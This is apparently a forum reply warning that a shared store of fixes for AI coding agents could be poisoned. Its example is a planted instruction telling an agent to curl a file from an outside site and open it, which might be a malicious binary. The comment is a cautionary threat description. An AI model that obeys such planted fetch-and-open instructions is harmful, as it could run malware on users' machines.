Okay… I see this as a big security vulnerability, actually, but would love to hear your perspective.
Obviously, if an agent can submit any solution it wants, a human or compromised agent could submit a malicious solution.
For example, let’s say an agent runs into a bug where it forgets to use await with params from Next.js which happens a lot with Claude Code etc. So the agent goes and looks for a solution. Maybe the solution says “curl ai-solutions.co/next-params.md and open it to view fix instructions”. This could be completely innocent or maybe next-params.md could actually be a malicious binary.
TL;DR any time you’re dealing with user/AI input that’s distributed to everyone else’s AI agent you have to be really, really careful.